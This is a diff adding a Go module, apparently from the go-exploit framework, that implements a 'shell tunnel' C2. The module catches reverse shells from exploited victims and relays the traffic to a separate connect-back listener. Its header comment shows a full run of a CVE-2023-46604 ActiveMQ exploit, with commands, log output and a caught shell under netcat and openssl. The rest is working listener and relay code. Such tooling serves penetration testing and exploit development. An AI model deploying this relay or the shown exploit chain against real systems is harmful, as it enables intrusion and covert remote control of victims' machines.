|
| 1 | +// shelltunnel is a simple C2 that copies shell traffic between a reverse shell origin and |
| 2 | +// a connectback server. It essentially allows for this setup: |
| 3 | +// |
| 4 | +// | Box 1 | | Box 2 | | Box 3 | |
| 5 | +// | nc -l | <- shell traffic -> | shell tunnel | <- shell traffic -> | shell origin | |
| 6 | +// |
| 7 | +// Where 'nc -l' is basically any C&C you want that accepts reverse shells, box 2 is the attacker |
| 8 | +// box, and box 3 is the victim. In this example, go-exploit on box 2 (attacker box) can act as |
| 9 | +// an egress for the reverse shell generated on the victim (box 3). The shell tunnel will just |
| 10 | +// copy the traffic data between the two boxes (1 & 3). This is appealing over something like a socks5 |
| 11 | +// proxy or more advanced tunneling because it simply works and requires, for the exploit dev, |
| 12 | +// no extra work beyond generating the initial shell (via *ShellServer or a binary or whatever). |
| 13 | +// |
| 14 | +// Usage example using an unencrypted reverse shell: |
| 15 | +// |
| 16 | +// albinolobster@mournland:~/initial-access/feed/cve-2023-46604$ ./build/cve-2023-46604_linux-arm64 -e -rhost 10.9.49.56 -lhost 10.9.49.192 -lport 1270 -httpAddr 10.9.49.192 -c2 ShellTunnel -shellTunnel.cbHost 10.9.49.12 |
| 17 | +// time=2024-10-28T15:05:21.600-04:00 level=STATUS msg="Starting listener on 10.9.49.192:1270" |
| 18 | +// time=2024-10-28T15:05:21.601-04:00 level=STATUS msg="Starting target" index=0 host=10.9.49.56 port=61616 ssl=false "ssl auto"=false |
| 19 | +// time=2024-10-28T15:05:21.601-04:00 level=STATUS msg="Sending a reverse shell payload for port 10.9.49.192:1270" |
| 20 | +// time=2024-10-28T15:05:21.601-04:00 level=STATUS msg="HTTP server listening for 10.9.49.192:8080/TMURWfRGRdSZ" |
| 21 | +// time=2024-10-28T15:05:23.603-04:00 level=STATUS msg=Connecting... |
| 22 | +// time=2024-10-28T15:05:23.630-04:00 level=STATUS msg="Sending exploit" |
| 23 | +// time=2024-10-28T15:05:23.656-04:00 level=STATUS msg="Sending payload" |
| 24 | +// time=2024-10-28T15:05:23.675-04:00 level=STATUS msg="Sending payload" |
| 25 | +// time=2024-10-28T15:05:23.757-04:00 level=SUCCESS msg="Caught new shell from 10.9.49.56:48440" |
| 26 | +// time=2024-10-28T15:05:23.758-04:00 level=SUCCESS msg="Connect back to 10.9.49.12:1270 success!" |
| 27 | +// time=2024-10-28T15:05:28.633-04:00 level=SUCCESS msg="Exploit successfully completed" exploited=true |
| 28 | +// |
| 29 | +// Above, you can see we've exploited a remote ActiveMQ (10.9.49.56), caught a reverse shell, and connected it back to a listener |
| 30 | +// at 10.9.49.12:1270. The shell there looks like this: |
| 31 | +// |
| 32 | +// parallels@ubuntu-linux-22-04-02-desktop:~$ nc -lvnp 1270 |
| 33 | +// Listening on 0.0.0.0 1270 |
| 34 | +// Connection received on 10.9.49.192 51478 |
| 35 | +// pwd |
| 36 | +// /opt/apache-activemq-5.15.2 |
| 37 | +// |
| 38 | +// The tunnel can also support catching and relaying TLS (or a mix of either). For example, the above can be updated like so: |
| 39 | +// |
| 40 | +// ./build/cve-2023-46604_linux-arm64 -e -rhost 10.9.49.56 -lhost 10.9.49.192 -lport 1270 -httpAddr 10.9.49.192 -c2 ShellTunnel -shellTunnel.cbHost 10.9.49.12 -shellTunnel.cbSSL -shellTunnel.sslListen |
| 41 | +// |
| 42 | +// And the reverse shell can now be caught by openssl: |
| 43 | +// |
| 44 | +// parallels@ubuntu-linux-22-04-02-desktop:~$ openssl s_server -quiet -key key.pem -cert cert.pem -port 1270 |
| 45 | +// pwd |
| 46 | +// /opt/apache-activemq-5.15.2 |
| 47 | +package shelltunnel |
| 48 | + |
| 49 | +import ( |
| 50 | + "crypto/tls" |
| 51 | + "errors" |
| 52 | + "flag" |
| 53 | + "fmt" |
| 54 | + "io" |
| 55 | + "net" |
| 56 | + "strconv" |
| 57 | + "strings" |
| 58 | + "time" |
| 59 | + |
| 60 | + "github.com/vulncheck-oss/go-exploit/c2/channel" |
| 61 | + "github.com/vulncheck-oss/go-exploit/encryption" |
| 62 | + "github.com/vulncheck-oss/go-exploit/output" |
| 63 | + "github.com/vulncheck-oss/go-exploit/protocol" |
| 64 | +) |
| 65 | + |
| 66 | +type Server struct { |
| 67 | + // the TCP listener that will accept all the connections |
| 68 | + Listener net.Listener |
| 69 | + |
| 70 | + // the server address/hostname to tunnel the data to |
| 71 | + ConnectBackHost string |
| 72 | + |
| 73 | + // the server port to tunnel the data to |
| 74 | + ConnectBackPort int |
| 75 | + |
| 76 | + // indicates if we should use an encrypted tunnel to the server |
| 77 | + ConnectBackSSL bool |
| 78 | + |
| 79 | + // indicates if we should be listening as an SSL server |
| 80 | + SSLShellServer bool |
| 81 | + |
| 82 | + // The file path to the user provided private key (if provided) |
| 83 | + PrivateKeyFile string |
| 84 | + |
| 85 | + // The file path to the user provided certificate (if provided) |
| 86 | + CertificateFile string |
| 87 | +} |
| 88 | + |
| 89 | +var ( |
| 90 | + serverSingleton *Server |
| 91 | + |
| 92 | + ErrTLSListener = errors.New("tls listener init") |
| 93 | +) |
| 94 | + |
| 95 | +func GetInstance() *Server { |
| 96 | + if serverSingleton == nil { |
| 97 | + serverSingleton = new(Server) |
| 98 | + } |
| 99 | + |
| 100 | + return serverSingleton |
| 101 | +} |
| 102 | + |
| 103 | +func (shellTunnel *Server) CreateFlags() { |
| 104 | + flag.StringVar(&shellTunnel.ConnectBackHost, "shellTunnel.cbHost", "", "The server to tunnel the data back to") |
| 105 | + flag.IntVar(&shellTunnel.ConnectBackPort, "shellTunnel.cbPort", 1270, "The server port to tunnel the data back to") |
| 106 | + flag.BoolVar(&shellTunnel.ConnectBackSSL, "shellTunnel.cbSSL", false, "Indicates if the connect-back should use SSL/TLS") |
| 107 | + |
| 108 | + // optional for when SSL server is enabled |
| 109 | + flag.BoolVar(&shellTunnel.SSLShellServer, "shellTunnel.sslListen", false, "Indicates if we should listen as an SSL/TLS server") |
| 110 | + flag.StringVar(&shellTunnel.PrivateKeyFile, "shellTunnel.PrivateKeyFile", "", "A private key to use when being an SSL server") |
| 111 | + flag.StringVar(&shellTunnel.CertificateFile, "shellTunnel.CertificateFile", "", "The certificate to use when being an SSL server") |
| 112 | +} |
| 113 | + |
| 114 | +func (shellTunnel *Server) Init(channel channel.Channel) bool { |
| 115 | + if channel.IsClient { |
| 116 | + output.PrintFrameworkError("Called ShellTunnel as a client. Use lhost and lport.") |
| 117 | + |
| 118 | + return false |
| 119 | + } |
| 120 | + if shellTunnel.ConnectBackHost == "" { |
| 121 | + output.PrintFrameworkError("Failed to provide a connect back host") |
| 122 | + |
| 123 | + return false |
| 124 | + } |
| 125 | + if shellTunnel.ConnectBackPort == 0 { |
| 126 | + output.PrintFrameworkError("Failed to provide a connect back port") |
| 127 | + |
| 128 | + return false |
| 129 | + } |
| 130 | + |
| 131 | + output.PrintfFrameworkStatus("Starting listener on %s:%d", channel.IPAddr, channel.Port) |
| 132 | + |
| 133 | + var err error |
| 134 | + if shellTunnel.SSLShellServer { |
| 135 | + shellTunnel.Listener, err = shellTunnel.createTLSListener(channel) |
| 136 | + } else { |
| 137 | + shellTunnel.Listener, err = net.Listen("tcp", channel.IPAddr+":"+strconv.Itoa(channel.Port)) |
| 138 | + } |
| 139 | + |
| 140 | + if err != nil { |
| 141 | + output.PrintFrameworkError("Couldn't create the server: " + err.Error()) |
| 142 | + |
| 143 | + return false |
| 144 | + } |
| 145 | + |
| 146 | + return true |
| 147 | +} |
| 148 | + |
| 149 | +func (shellTunnel *Server) Run(timeout int) { |
| 150 | + // track if we got a shell or not |
| 151 | + success := false |
| 152 | + |
| 153 | + // terminate the server if no shells come in within timeout seconds |
| 154 | + go func() { |
| 155 | + time.Sleep(time.Duration(timeout) * time.Second) |
| 156 | + if !success { |
| 157 | + output.PrintFrameworkError("Timeout met. Shutting down shell listener.") |
| 158 | + shellTunnel.Listener.Close() |
| 159 | + } |
| 160 | + }() |
| 161 | + |
| 162 | + // Accept arbitrary connections. In the future we need something for the |
| 163 | + // user to select which connection to make active |
| 164 | + for { |
| 165 | + client, err := shellTunnel.Listener.Accept() |
| 166 | + if err != nil { |
| 167 | + if !strings.Contains(err.Error(), "use of closed network connection") { |
| 168 | + output.PrintFrameworkError(err.Error()) |
| 169 | + } |
| 170 | + |
| 171 | + return |
| 172 | + } |
| 173 | + success = true |
| 174 | + output.PrintfFrameworkSuccess("Caught new shell from %v", client.RemoteAddr()) |
| 175 | + go handleTunnelConn(client, shellTunnel.ConnectBackHost, shellTunnel.ConnectBackPort, shellTunnel.ConnectBackSSL) |
| 176 | + } |
| 177 | +} |
| 178 | + |
| 179 | +func (shellTunnel *Server) createTLSListener(channel channel.Channel) (net.Listener, error) { |
| 180 | + var ok bool |
| 181 | + var err error |
| 182 | + var certificate tls.Certificate |
| 183 | + if len(shellTunnel.CertificateFile) != 0 && len(shellTunnel.PrivateKeyFile) != 0 { |
| 184 | + certificate, err = tls.LoadX509KeyPair(shellTunnel.CertificateFile, shellTunnel.PrivateKeyFile) |
| 185 | + if err != nil { |
| 186 | + return nil, fmt.Errorf("%s %w", err.Error(), ErrTLSListener) |
| 187 | + } |
| 188 | + } else { |
| 189 | + output.PrintFrameworkStatus("Certificate not provided. Generating a TLS Certificate") |
| 190 | + certificate, ok = encryption.GenerateCertificate() |
| 191 | + if !ok { |
| 192 | + return nil, fmt.Errorf("GenerateCertificate failed %w", ErrTLSListener) |
| 193 | + } |
| 194 | + } |
| 195 | + |
| 196 | + output.PrintfFrameworkStatus("Starting TLS listener on %s:%d", channel.IPAddr, channel.Port) |
| 197 | + listener, err := tls.Listen( |
| 198 | + "tcp", fmt.Sprintf("%s:%d", channel.IPAddr, channel.Port), &tls.Config{ |
| 199 | + Certificates: []tls.Certificate{certificate}, |
| 200 | + // We have no control over the SSL versions supported on the remote target. Be permissive for more targets. |
| 201 | + MinVersion: tls.VersionSSL30, |
| 202 | + }) |
| 203 | + if err != nil { |
| 204 | + return nil, fmt.Errorf("%s %w", err.Error(), ErrTLSListener) |
| 205 | + } |
| 206 | + |
| 207 | + return listener, nil |
| 208 | +} |
| 209 | + |
| 210 | +func handleTunnelConn(clientConn net.Conn, host string, port int, ssl bool) { |
| 211 | + defer clientConn.Close() |
| 212 | + |
| 213 | + // attempt to connect back to the serve. MixedConnect is both proxy aware and can |
| 214 | + // produce an ssl or unencrypted connection so works pretty nice here |
| 215 | + serverConn, ok := protocol.MixedConnect(host, port, ssl) |
| 216 | + if !ok { |
| 217 | + output.PrintfFrameworkError("Failed to connect back to %s:%d", host, port) |
| 218 | + |
| 219 | + return |
| 220 | + } |
| 221 | + output.PrintfFrameworkSuccess("Connect back to %s:%d success!", host, port) |
| 222 | + |
| 223 | + defer serverConn.Close() |
| 224 | + |
| 225 | + done := make(chan struct{}) |
| 226 | + |
| 227 | + // copy between the two endpoints until one dies |
| 228 | + go func() { |
| 229 | + _, _ = io.Copy(serverConn, clientConn) |
| 230 | + done <- struct{}{} |
| 231 | + }() |
| 232 | + |
| 233 | + go func() { |
| 234 | + _, _ = io.Copy(clientConn, serverConn) |
| 235 | + done <- struct{}{} |
| 236 | + }() |
| 237 | + |
| 238 | + <-done |
| 239 | +} |
0 commit comments